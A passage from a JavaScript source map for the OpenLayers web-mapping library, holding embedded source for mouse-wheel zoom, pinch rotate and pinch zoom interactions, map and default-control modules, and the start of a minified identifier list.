Options.\n */\n function MouseWheelZoom(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n _this = _super.call(this, \n /** @type {import(\"./Interaction.js\").InteractionOptions} */ (options)) || this;\n /**\n * @private\n * @type {number}\n */\n _this.totalDelta_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.lastDelta_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.maxDelta_ = options.maxDelta !== undefined ? options.maxDelta : 1;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 250;\n /**\n * @private\n * @type {number}\n */\n _this.timeout_ = options.timeout !== undefined ? options.timeout : 80;\n /**\n * @private\n * @type {boolean}\n */\n _this.useAnchor_ =\n options.useAnchor !== undefined ? options.useAnchor : true;\n /**\n * @private\n * @type {boolean}\n */\n _this.constrainResolution_ =\n options.constrainResolution !== undefined\n ? options.constrainResolution\n : false;\n var condition = options.condition ? options.condition : always;\n /**\n * @private\n * @type {import(\"../events/condition.js\").Condition}\n */\n _this.condition_ = options.onFocusOnly\n ? all(focusWithTabindex, condition)\n : condition;\n /**\n * @private\n * @type {?import(\"../coordinate.js\").Coordinate}\n */\n _this.lastAnchor_ = null;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.startTime_ = undefined;\n /**\n * @private\n * @type {?}\n */\n _this.timeoutId_;\n /**\n * @private\n * @type {Mode|undefined}\n */\n _this.mode_ = undefined;\n /**\n * Trackpad events separated by this delay will be considered separate\n * interactions.\n * @type {number}\n */\n _this.trackpadEventGap_ = 400;\n /**\n * @type {?}\n */\n _this.trackpadTimeoutId_;\n /**\n * The number of delta values per zoom level\n * @private\n * @type {number}\n */\n _this.deltaPerZoom_ = 300;\n return _this;\n }\n /**\n * @private\n */\n MouseWheelZoom.prototype.endInteraction_ = function () {\n this.trackpadTimeoutId_ = undefined;\n var map = this.getMap();\n if (!map) {\n return;\n }\n var view = map.getView();\n view.endInteraction(undefined, this.lastDelta_ ? (this.lastDelta_ > 0 ? 1 : -1) : 0, this.lastAnchor_);\n };\n /**\n * Handles the {@link module:ol/MapBrowserEvent~MapBrowserEvent map browser event} (if it was a mousewheel-event) and eventually\n * zooms the map.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} `false` to stop event propagation.\n */\n MouseWheelZoom.prototype.handleEvent = function (mapBrowserEvent) {\n if (!this.condition_(mapBrowserEvent)) {\n return true;\n }\n var type = mapBrowserEvent.type;\n if (type !== EventType.WHEEL) {\n return true;\n }\n var map = mapBrowserEvent.map;\n var wheelEvent = /** @type {WheelEvent} */ (mapBrowserEvent.originalEvent);\n wheelEvent.preventDefault();\n if (this.useAnchor_) {\n this.lastAnchor_ = mapBrowserEvent.coordinate;\n }\n // Delta normalisation inspired by\n // https://github.com/mapbox/mapbox-gl-js/blob/001c7b9/js/ui/handler/scroll_zoom.js\n var delta;\n if (mapBrowserEvent.type == EventType.WHEEL) {\n delta = wheelEvent.deltaY;\n if (FIREFOX && wheelEvent.deltaMode === WheelEvent.DOM_DELTA_PIXEL) {\n delta /= DEVICE_PIXEL_RATIO;\n }\n if (wheelEvent.deltaMode === WheelEvent.DOM_DELTA_LINE) {\n delta *= 40;\n }\n }\n if (delta === 0) {\n return false;\n }\n else {\n this.lastDelta_ = delta;\n }\n var now = Date.now();\n if (this.startTime_ === undefined) {\n this.startTime_ = now;\n }\n if (!this.mode_ || now - this.startTime_ > this.trackpadEventGap_) {\n this.mode_ = Math.abs(delta) < 4 ? Mode.TRACKPAD : Mode.WHEEL;\n }\n var view = map.getView();\n if (this.mode_ === Mode.TRACKPAD &&\n !(view.getConstrainResolution() || this.constrainResolution_)) {\n if (this.trackpadTimeoutId_) {\n clearTimeout(this.trackpadTimeoutId_);\n }\n else {\n if (view.getAnimating()) {\n view.cancelAnimations();\n }\n view.beginInteraction();\n }\n this.trackpadTimeoutId_ = setTimeout(this.endInteraction_.bind(this), this.timeout_);\n view.adjustZoom(-delta / this.deltaPerZoom_, this.lastAnchor_);\n this.startTime_ = now;\n return false;\n }\n this.totalDelta_ += delta;\n var timeLeft = Math.max(this.timeout_ - (now - this.startTime_), 0);\n clearTimeout(this.timeoutId_);\n this.timeoutId_ = setTimeout(this.handleWheelZoom_.bind(this, map), timeLeft);\n return false;\n };\n /**\n * @private\n * @param {import(\"../PluggableMap.js\").default} map Map.\n */\n MouseWheelZoom.prototype.handleWheelZoom_ = function (map) {\n var view = map.getView();\n if (view.getAnimating()) {\n view.cancelAnimations();\n }\n var delta = -clamp(this.totalDelta_, -this.maxDelta_ * this.deltaPerZoom_, this.maxDelta_ * this.deltaPerZoom_) / this.deltaPerZoom_;\n if (view.getConstrainResolution() || this.constrainResolution_) {\n // view has a zoom constraint, zoom by 1\n delta = delta ? (delta > 0 ? 1 : -1) : 0;\n }\n zoomByDelta(view, delta, this.lastAnchor_, this.duration_);\n this.mode_ = undefined;\n this.totalDelta_ = 0;\n this.lastAnchor_ = null;\n this.startTime_ = undefined;\n this.timeoutId_ = undefined;\n };\n /**\n * Enable or disable using the mouse's location as an anchor when zooming\n * @param {boolean} useAnchor true to zoom to the mouse's location, false\n * to zoom to the center of the map\n * @api\n */\n MouseWheelZoom.prototype.setMouseAnchor = function (useAnchor) {\n this.useAnchor_ = useAnchor;\n if (!useAnchor) {\n this.lastAnchor_ = null;\n }\n };\n return MouseWheelZoom;\n}(Interaction));\nexport default MouseWheelZoom;\n//# sourceMappingURL=MouseWheelZoom.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/PinchRotate\n */\nimport PointerInteraction, { centroid as centroidFromPointers, } from './Pointer.js';\nimport { FALSE } from '../functions.js';\nimport { disable } from '../rotationconstraint.js';\n/**\n * @typedef {Object} Options\n * @property {number} [duration=250] The duration of the animation in\n * milliseconds.\n * @property {number} [threshold=0.3] Minimal angle in radians to start a rotation.\n */\n/**\n * @classdesc\n * Allows the user to rotate the map by twisting with two fingers\n * on a touch screen.\n * @api\n */\nvar PinchRotate = /** @class */ (function (_super) {\n __extends(PinchRotate, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function PinchRotate(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n var pointerOptions = /** @type {import(\"./Pointer.js\").Options} */ (options);\n if (!pointerOptions.stopDown) {\n pointerOptions.stopDown = FALSE;\n }\n _this = _super.call(this, pointerOptions) || this;\n /**\n * @private\n * @type {import(\"../coordinate.js\").Coordinate}\n */\n _this.anchor_ = null;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.lastAngle_ = undefined;\n /**\n * @private\n * @type {boolean}\n */\n _this.rotating_ = false;\n /**\n * @private\n * @type {number}\n */\n _this.rotationDelta_ = 0.0;\n /**\n * @private\n * @type {number}\n */\n _this.threshold_ = options.threshold !== undefined ? options.threshold : 0.3;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 250;\n return _this;\n }\n /**\n * Handle pointer drag events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n */\n PinchRotate.prototype.handleDragEvent = function (mapBrowserEvent) {\n var rotationDelta = 0.0;\n var touch0 = this.targetPointers[0];\n var touch1 = this.targetPointers[1];\n // angle between touches\n var angle = Math.atan2(touch1.clientY - touch0.clientY, touch1.clientX - touch0.clientX);\n if (this.lastAngle_ !== undefined) {\n var delta = angle - this.lastAngle_;\n this.rotationDelta_ += delta;\n if (!this.rotating_ && Math.abs(this.rotationDelta_) > this.threshold_) {\n this.rotating_ = true;\n }\n rotationDelta = delta;\n }\n this.lastAngle_ = angle;\n var map = mapBrowserEvent.map;\n var view = map.getView();\n if (view.getConstraints().rotation === disable) {\n return;\n }\n // rotate anchor point.\n // FIXME: should be the intersection point between the lines:\n // touch0,touch1 and previousTouch0,previousTouch1\n var viewportPosition = map.getViewport().getBoundingClientRect();\n var centroid = centroidFromPointers(this.targetPointers);\n centroid[0] -= viewportPosition.left;\n centroid[1] -= viewportPosition.top;\n this.anchor_ = map.getCoordinateFromPixelInternal(centroid);\n // rotate\n if (this.rotating_) {\n map.render();\n view.adjustRotationInternal(rotationDelta, this.anchor_);\n }\n };\n /**\n * Handle pointer up events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n PinchRotate.prototype.handleUpEvent = function (mapBrowserEvent) {\n if (this.targetPointers.length < 2) {\n var map = mapBrowserEvent.map;\n var view = map.getView();\n view.endInteraction(this.duration_);\n return false;\n }\n else {\n return true;\n }\n };\n /**\n * Handle pointer down events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n PinchRotate.prototype.handleDownEvent = function (mapBrowserEvent) {\n if (this.targetPointers.length >= 2) {\n var map = mapBrowserEvent.map;\n this.anchor_ = null;\n this.lastAngle_ = undefined;\n this.rotating_ = false;\n this.rotationDelta_ = 0.0;\n if (!this.handlingDownUpSequence) {\n map.getView().beginInteraction();\n }\n return true;\n }\n else {\n return false;\n }\n };\n return PinchRotate;\n}(PointerInteraction));\nexport default PinchRotate;\n//# sourceMappingURL=PinchRotate.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/PinchZoom\n */\nimport PointerInteraction, { centroid as centroidFromPointers, } from './Pointer.js';\nimport { FALSE } from '../functions.js';\n/**\n * @typedef {Object} Options\n * @property {number} [duration=400] Animation duration in milliseconds.\n */\n/**\n * @classdesc\n * Allows the user to zoom the map by pinching with two fingers\n * on a touch screen.\n * @api\n */\nvar PinchZoom = /** @class */ (function (_super) {\n __extends(PinchZoom, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function PinchZoom(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n var pointerOptions = /** @type {import(\"./Pointer.js\").Options} */ (options);\n if (!pointerOptions.stopDown) {\n pointerOptions.stopDown = FALSE;\n }\n _this = _super.call(this, pointerOptions) || this;\n /**\n * @private\n * @type {import(\"../coordinate.js\").Coordinate}\n */\n _this.anchor_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 400;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.lastDistance_ = undefined;\n /**\n * @private\n * @type {number}\n */\n _this.lastScaleDelta_ = 1;\n return _this;\n }\n /**\n * Handle pointer drag events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n */\n PinchZoom.prototype.handleDragEvent = function (mapBrowserEvent) {\n var scaleDelta = 1.0;\n var touch0 = this.targetPointers[0];\n var touch1 = this.targetPointers[1];\n var dx = touch0.clientX - touch1.clientX;\n var dy = touch0.clientY - touch1.clientY;\n // distance between touches\n var distance = Math.sqrt(dx * dx + dy * dy);\n if (this.lastDistance_ !== undefined) {\n scaleDelta = this.lastDistance_ / distance;\n }\n this.lastDistance_ = distance;\n var map = mapBrowserEvent.map;\n var view = map.getView();\n if (scaleDelta != 1.0) {\n this.lastScaleDelta_ = scaleDelta;\n }\n // scale anchor point.\n var viewportPosition = map.getViewport().getBoundingClientRect();\n var centroid = centroidFromPointers(this.targetPointers);\n centroid[0] -= viewportPosition.left;\n centroid[1] -= viewportPosition.top;\n this.anchor_ = map.getCoordinateFromPixelInternal(centroid);\n // scale, bypass the resolution constraint\n map.render();\n view.adjustResolutionInternal(scaleDelta, this.anchor_);\n };\n /**\n * Handle pointer up events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n PinchZoom.prototype.handleUpEvent = function (mapBrowserEvent) {\n if (this.targetPointers.length < 2) {\n var map = mapBrowserEvent.map;\n var view = map.getView();\n var direction = this.lastScaleDelta_ > 1 ? 1 : -1;\n view.endInteraction(this.duration_, direction);\n return false;\n }\n else {\n return true;\n }\n };\n /**\n * Handle pointer down events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n PinchZoom.prototype.handleDownEvent = function (mapBrowserEvent) {\n if (this.targetPointers.length >= 2) {\n var map = mapBrowserEvent.map;\n this.anchor_ = null;\n this.lastDistance_ = undefined;\n this.lastScaleDelta_ = 1;\n if (!this.handlingDownUpSequence) {\n map.getView().beginInteraction();\n }\n return true;\n }\n else {\n return false;\n }\n };\n return PinchZoom;\n}(PointerInteraction));\nexport default PinchZoom;\n//# sourceMappingURL=PinchZoom.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Map\n */\nimport CompositeMapRenderer from './renderer/Composite.js';\nimport PluggableMap from './PluggableMap.js';\nimport { assign } from './obj.js';\nimport { defaults as defaultControls } from './control.js';\nimport { defaults as defaultInteractions } from './interaction.js';\n/**\n * @classdesc\n * The map is the core component of OpenLayers. For a map to render, a view,\n * one or more layers, and a target container are needed:\n *\n * import Map from 'ol/Map';\n * import View from 'ol/View';\n * import TileLayer from 'ol/layer/Tile';\n * import OSM from 'ol/source/OSM';\n *\n * var map = new Map({\n * view: new View({\n * center: [0, 0],\n * zoom: 1\n * }),\n * layers: [\n * new TileLayer({\n * source: new OSM()\n * })\n * ],\n * target: 'map'\n * });\n *\n * The above snippet creates a map using a {@link module:ol/layer/Tile~TileLayer} to\n * display {@link module:ol/source/OSM~OSM} OSM data and render it to a DOM\n * element with the id `map`.\n *\n * The constructor places a viewport container (with CSS class name\n * `ol-viewport`) in the target element (see `getViewport()`), and then two\n * further elements within the viewport: one with CSS class name\n * `ol-overlaycontainer-stopevent` for controls and some overlays, and one with\n * CSS class name `ol-overlaycontainer` for other overlays (see the `stopEvent`\n * option of {@link module:ol/Overlay~Overlay} for the difference). The map\n * itself is placed in a further element within the viewport.\n *\n * Layers are stored as a {@link module:ol/Collection~Collection} in\n * layerGroups. A top-level group is provided by the library. This is what is\n * accessed by `getLayerGroup` and `setLayerGroup`. Layers entered in the\n * options are added to this group, and `addLayer` and `removeLayer` change the\n * layer collection in the group. `getLayers` is a convenience function for\n * `getLayerGroup().getLayers()`. Note that {@link module:ol/layer/Group~LayerGroup}\n * is a subclass of {@link module:ol/layer/Base~BaseLayer}, so layers entered in the\n * options or added with `addLayer` can be groups, which can contain further\n * groups, and so on.\n *\n * @api\n */\nvar Map = /** @class */ (function (_super) {\n __extends(Map, _super);\n /**\n * @param {import(\"./PluggableMap.js\").MapOptions} options Map options.\n */\n function Map(options) {\n options = assign({}, options);\n if (!options.controls) {\n options.controls = defaultControls();\n }\n if (!options.interactions) {\n options.interactions = defaultInteractions({\n onFocusOnly: true,\n });\n }\n return _super.call(this, options) || this;\n }\n Map.prototype.createRenderer = function () {\n return new CompositeMapRenderer(this);\n };\n return Map;\n}(PluggableMap));\nexport default Map;\n//# sourceMappingURL=Map.js.map","/**\n * @module ol/control\n */\nimport Attribution from './control/Attribution.js';\nimport Collection from './Collection.js';\nimport Rotate from './control/Rotate.js';\nimport Zoom from './control/Zoom.js';\nexport { default as Attribution } from './control/Attribution.js';\nexport { default as Control } from './control/Control.js';\nexport { default as FullScreen } from './control/FullScreen.js';\nexport { default as MousePosition } from './control/MousePosition.js';\nexport { default as OverviewMap } from './control/OverviewMap.js';\nexport { default as Rotate } from './control/Rotate.js';\nexport { default as ScaleLine } from './control/ScaleLine.js';\nexport { default as Zoom } from './control/Zoom.js';\nexport { default as ZoomSlider } from './control/ZoomSlider.js';\nexport { default as ZoomToExtent } from './control/ZoomToExtent.js';\n/**\n * @typedef {Object} DefaultsOptions\n * @property {boolean} [attribution=true] Include\n * {@link module:ol/control/Attribution~Attribution}.\n * @property {import(\"./control/Attribution.js\").Options} [attributionOptions]\n * Options for {@link module:ol/control/Attribution~Attribution}.\n * @property {boolean} [rotate=true] Include\n * {@link module:ol/control/Rotate~Rotate}.\n * @property {import(\"./control/Rotate.js\").Options} [rotateOptions] Options\n * for {@link module:ol/control/Rotate~Rotate}.\n * @property {boolean} [zoom] Include {@link module:ol/control/Zoom~Zoom}.\n * @property {import(\"./control/Zoom.js\").Options} [zoomOptions] Options for\n * {@link module:ol/control/Zoom~Zoom}.\n * @api\n */\n/**\n * Set of controls included in maps by default. Unless configured otherwise,\n * this returns a collection containing an instance of each of the following\n * controls:\n * * {@link module:ol/control/Zoom~Zoom}\n * * {@link module:ol/control/Rotate~Rotate}\n * * {@link module:ol/control/Attribution~Attribution}\n *\n * @param {DefaultsOptions} [opt_options]\n * Defaults options.\n * @return {Collection<import(\"./control/Control.js\").default>}\n * Controls.\n * @api\n */\nexport function defaults(opt_options) {\n var options = opt_options ? opt_options : {};\n var controls = new Collection();\n var zoomControl = options.zoom !== undefined ? options.zoom : true;\n if (zoomControl) {\n controls.push(new Zoom(options.zoomOptions));\n }\n var rotateControl = options.rotate !== undefined ? options.rotate : true;\n if (rotateControl) {\n controls.push(new Rotate(options.rotateOptions));\n }\n var attributionControl = options.attribution !== undefined ? options.attribution : true;\n if (attributionControl) {\n controls.push(new Attribution(options.attributionOptions));\n }\n return controls;\n}\n//# sourceMappingURL=control.js.map","/**\n * @module ol/interaction\n */\nimport Collection from './Collection.js';\nimport DoubleClickZoom from './interaction/DoubleClickZoom.js';\nimport DragPan from './interaction/DragPan.js';\nimport DragRotate from './interaction/DragRotate.js';\nimport DragZoom from './interaction/DragZoom.js';\nimport KeyboardPan from './interaction/KeyboardPan.js';\nimport KeyboardZoom from './interaction/KeyboardZoom.js';\nimport Kinetic from './Kinetic.js';\nimport MouseWheelZoom from './interaction/MouseWheelZoom.js';\nimport PinchRotate from './interaction/PinchRotate.js';\nimport PinchZoom from './interaction/PinchZoom.js';\nexport { default as DoubleClickZoom } from './interaction/DoubleClickZoom.js';\nexport { default as DragAndDrop } from './interaction/DragAndDrop.js';\nexport { default as DragBox } from './interaction/DragBox.js';\nexport { default as DragPan } from './interaction/DragPan.js';\nexport { default as DragRotate } from './interaction/DragRotate.js';\nexport { default as DragRotateAndZoom } from './interaction/DragRotateAndZoom.js';\nexport { default as DragZoom } from './interaction/DragZoom.js';\nexport { default as Draw } from './interaction/Draw.js';\nexport { default as Extent } from './interaction/Extent.js';\nexport { default as Interaction } from './interaction/Interaction.js';\nexport { default as KeyboardPan } from './interaction/KeyboardPan.js';\nexport { default as KeyboardZoom } from './interaction/KeyboardZoom.js';\nexport { default as Modify } from './interaction/Modify.js';\nexport { default as MouseWheelZoom } from './interaction/MouseWheelZoom.js';\nexport { default as PinchRotate } from './interaction/PinchRotate.js';\nexport { default as PinchZoom } from './interaction/PinchZoom.js';\nexport { default as Pointer } from './interaction/Pointer.js';\nexport { default as Select } from './interaction/Select.js';\nexport { default as Snap } from './interaction/Snap.js';\nexport { default as Translate } from './interaction/Translate.js';\n/**\n * @typedef {Object} DefaultsOptions\n * @property {boolean} [altShiftDragRotate=true] Whether Alt-Shift-drag rotate is\n * desired.\n * @property {boolean} [onFocusOnly=false] Interact only when the map has the\n * focus. This affects the `MouseWheelZoom` and `DragPan` interactions and is\n * useful when page scroll is desired for maps that do not have the browser's\n * focus.\n * @property {boolean} [doubleClickZoom=true] Whether double click zoom is\n * desired.\n * @property {boolean} [keyboard=true] Whether keyboard interaction is desired.\n * @property {boolean} [mouseWheelZoom=true] Whether mousewheel zoom is desired.\n * @property {boolean} [shiftDragZoom=true] Whether Shift-drag zoom is desired.\n * @property {boolean} [dragPan=true] Whether drag pan is desired.\n * @property {boolean} [pinchRotate=true] Whether pinch rotate is desired.\n * @property {boolean} [pinchZoom=true] Whether pinch zoom is desired.\n * @property {number} [zoomDelta] Zoom level delta when using keyboard or double click zoom.\n * @property {number} [zoomDuration] Duration of the zoom animation in\n * milliseconds.\n */\n/**\n * Set of interactions included in maps by default. Specific interactions can be\n * excluded by setting the appropriate option to false in the constructor\n * options, but the order of the interactions is fixed. If you want to specify\n * a different order for interactions, you will need to create your own\n * {@link module:ol/interaction/Interaction~Interaction} instances and insert\n * them into a {@link module:ol/Collection~Collection} in the order you want\n * before creating your {@link module:ol/Map~Map} instance. Changing the order can\n * be of interest if the event propagation needs to be stopped at a point.\n * The default set of interactions, in sequence, is:\n * * {@link module:ol/interaction/DragRotate~DragRotate}\n * * {@link module:ol/interaction/DoubleClickZoom~DoubleClickZoom}\n * * {@link module:ol/interaction/DragPan~DragPan}\n * * {@link module:ol/interaction/PinchRotate~PinchRotate}\n * * {@link module:ol/interaction/PinchZoom~PinchZoom}\n * * {@link module:ol/interaction/KeyboardPan~KeyboardPan}\n * * {@link module:ol/interaction/KeyboardZoom~KeyboardZoom}\n * * {@link module:ol/interaction/MouseWheelZoom~MouseWheelZoom}\n * * {@link module:ol/interaction/DragZoom~DragZoom}\n *\n * @param {DefaultsOptions} [opt_options] Defaults options.\n * @return {import(\"./Collection.js\").default<import(\"./interaction/Interaction.js\").default>}\n * A collection of interactions to be used with the {@link module:ol/Map~Map}\n * constructor's `interactions` option.\n * @api\n */\nexport function defaults(opt_options) {\n var options = opt_options ? opt_options : {};\n var interactions = new Collection();\n var kinetic = new Kinetic(-0.005, 0.05, 100);\n var altShiftDragRotate = options.altShiftDragRotate !== undefined\n ? options.altShiftDragRotate\n : true;\n if (altShiftDragRotate) {\n interactions.push(new DragRotate());\n }\n var doubleClickZoom = options.doubleClickZoom !== undefined ? options.doubleClickZoom : true;\n if (doubleClickZoom) {\n interactions.push(new DoubleClickZoom({\n delta: options.zoomDelta,\n duration: options.zoomDuration,\n }));\n }\n var dragPan = options.dragPan !== undefined ? options.dragPan : true;\n if (dragPan) {\n interactions.push(new DragPan({\n onFocusOnly: options.onFocusOnly,\n kinetic: kinetic,\n }));\n }\n var pinchRotate = options.pinchRotate !== undefined ? options.pinchRotate : true;\n if (pinchRotate) {\n interactions.push(new PinchRotate());\n }\n var pinchZoom = options.pinchZoom !== undefined ? options.pinchZoom : true;\n if (pinchZoom) {\n interactions.push(new PinchZoom({\n duration: options.zoomDuration,\n }));\n }\n var keyboard = options.keyboard !== undefined ? options.keyboard : true;\n if (keyboard) {\n interactions.push(new KeyboardPan());\n interactions.push(new KeyboardZoom({\n delta: options.zoomDelta,\n duration: options.zoomDuration,\n }));\n }\n var mouseWheelZoom = options.mouseWheelZoom !== undefined ? options.mouseWheelZoom : true;\n if (mouseWheelZoom) {\n interactions.push(new MouseWheelZoom({\n onFocusOnly: options.onFocusOnly,\n duration: options.zoomDuration,\n }));\n }\n var shiftDragZoom = options.shiftDragZoom !== undefined ? options.shiftDragZoom : true;\n if (shiftDragZoom) {\n interactions.push(new DragZoom({\n duration: options.zoomDuration,\n }));\n }\n return interactions;\n}\n//# sourceMappingURL=interaction.js.map","import { Attribution, MousePosition, Zoom } from 'ol/control.js';\nimport { createStringXY } from 'ol/coordinate.js';\nimport { boundingExtent } from 'ol/extent.js';\nimport { LineString, LinearRing, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon } from 'ol/geom.js';\nimport { Tile, Vector as VectorLayer } from 'ol/layer.js';\nimport { fromLonLat, get, transformExtent } from 'ol/proj.js';\nimport { OSM, Vector as VectorSource } from 'ol/source.js';\nimport { Circle, Fill, Stroke, Style, Text } from 'ol/style.js';\nimport { Feature, Map, View } from 'ol';\n\nconst ol = {\n control: {\n Attribution, MousePosition, Zoom\n },\n coordinate: {\n createStringXY\n },\n extent: {\n boundingExtent\n },\n geom: {\n LineString, LinearRing, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon\n },\n layer: {\n Tile, Vector: VectorLayer\n },\n proj: {\n fromLonLat, get, transformExtent\n },\n source: {\n OSM, Vector: VectorSource\n },\n style: {\n Circle, Fill, Stroke, Style, Text\n },\n Feature, Map, View\n}\n\nexport default ol;"],"names":["root","factory","exports","module","define","amd","self","t","r","e","a","h","n","o","s","l","Math","log","f","exp","u","sqrt","max","floor","min","p","d","x","i","length","this","_maxEntries","_minEntries","ceil","clear","indexOf","children","minX","minY","maxX","maxY","leaf","m","c","height","pop","push","prototype","all","_all","data","search","toBBox","collides","load","insert","_build","slice","_splitRoot","_insert","remove","splice","_condense","compareMinX","compareMinY","toJSON","fromJSON","apply","pow","_chooseSubtree","_split","_adjustParentBBoxes","_chooseSplitAxis","_chooseSplitIndex","v","M","_allDistMargin","sort","__webpack_module_cache__","__webpack_require__","moduleId","cachedModule","undefined","__webpack_modules__","call","definition","key","Object","defineProperty","enumerable","get","obj","prop","hasOwnProperty","BaseEvent","type","propagationStopped","defaultPrevented","target","preventDefault","stopPropagation","Disposable","disposed","dispose","disposeInternal","numberSafeCompareFunction","b","linearFindNearest","arr","direction","reverseSubArray","begin","end","tmp","extension","Array","isArray","equals","arr1","arr2","len1","TRUE","VOID","assign","var_sources","TypeError","output","ii","arguments","source","object","property","getValues","values","extendStatics","__extends","setPrototypeOf","__proto__","String","__","constructor","create","_super","Target","opt_target","_this","eventTarget_","pendingRemovals_","dispatching_","listeners_","addEventListener","listener","listeners","listenersForType","dispatchEvent","event","isString","evt","Event","propagate","dispatching","pendingRemovals","handleEvent","pr","removeEventListener","getListeners","hasListener","opt_type","keys","index","listen","opt_this","opt_once","bind","originalListener_1","eventsKey","listenOnce","unlistenByKey","Observable","on","once","un","revision_","changed","EventType","getRevision","onInternal","len","onceInternal","ol_key","unInternal","unByKey","Error","uidCounter_","getUid","ol_uid","ObjectEvent","oldValue","BaseObject","opt_values","values_","setProperties","value","getKeys","getProperties","hasProperties","notify","eventType","concat","ObjectEventType","addChangeListener","removeChangeListener","set","opt_silent","applyProperties","unset","ua","navigator","userAgent","toLowerCase","FIREFOX","WEBKIT","match","DEVICE_PIXEL_RATIO","devicePixelRatio","WORKER_OFFSCREEN_CANVAS","WorkerGlobalScope","OffscreenCanvas","IMAGE_DECODE","Image","decode","PASSIVE_EVENT_LISTENERS","passive","options","window","error","createCanvasContext2D","opt_width","opt_height","opt_canvasPool","opt_Context2DSettings","canvas","shift","document","createElement","width","getContext","releaseCanvas","context","clearRect","replaceNode","newNode","oldNode","parent","parentNode","replaceChild","removeNode","node","removeChild","Control","element","style","pointerEvents","target_","map_","listenerKeys","render","setTarget","getMap","setMap","map","getOverlayContainerStopEvent","appendChild","MapEventType","mapEvent","getElementById","CLASS_HIDDEN","CLASS_UNSELECTABLE","CLASS_CONTROL","CLASS_COLLAPSED","fontRegEx","RegExp","join","fontRegExMatchIndex","getFontParameters","fontSpec","lineHeight","size","weight","variant","families","family","split","AssertionError","code","message","name","assertion","errorCode","cosh","y","log2","LOG2E","squaredSegmentDistance","x1","y1","x2","y2","dx","dy","angleInDegrees","PI","lerp","toFixed","decimals","factor","round","BaseLayer","background_","background","properties","opacity","visible","zIndex","maxResolution","Infinity","minResolution","minZoom","maxZoom","className_","className","state_","getBackground","getClassName","getLayerState","opt_managed","state","layer","managed","getZIndex","getOpacity","getVisible","extent","getExtent","getMaxResolution","getMinResolution","getMinZoom","getMaxZoom","getLayersArray","opt_array","getLayerStatesArray","opt_states","getSourceState","setBackground","opt_background","setExtent","setMaxResolution","setMinResolution","setMaxZoom","setMinZoom","setOpacity","setVisible","setZIndex","zindex","inView","layerState","viewState","resolution","zoom","Layer","baseOptions","mapPrecomposeKey_","mapRenderKey_","sourceChangeKey_","renderer_","rendered","handleSourcePropertyChange_","setSource","array","states","getSource","getRenderSource","getState","handleSourceChange_","getFeatures","pixel","Promise","resolve","getData","frameState","layerRenderer","getRenderer","prepareFrame","renderFrame","unrender","setMapInternal","getMapInternal","layerStatesArray","some","arrayLayerState","createRenderer","hasRenderer","Base","Attribution","opt_options","ulElement_","collapsed_","collapsed","userCollapsed_","overrideCollapsible_","collapsible","collapsible_","tipLabel","expandClassName","collapseLabel","collapseClassName","collapseLabel_","textContent","label","label_","activeLabel","toggleButton_","setAttribute","title","handleClick_","cssClasses","renderedAttributions_","renderedVisible_","collectSourceAttributions_","lookup","visibleAttributions","attributionGetter","getAttributions","attributions","getAttributionsCollapsible","j","jj","setCollapsible","updateElement_","display","lastChild","removeChildren","innerHTML","handleToggle_","classList","toggle","getCollapsible","setCollapsed","getCollapsed","Units","RADIANS","DEGREES","FEET","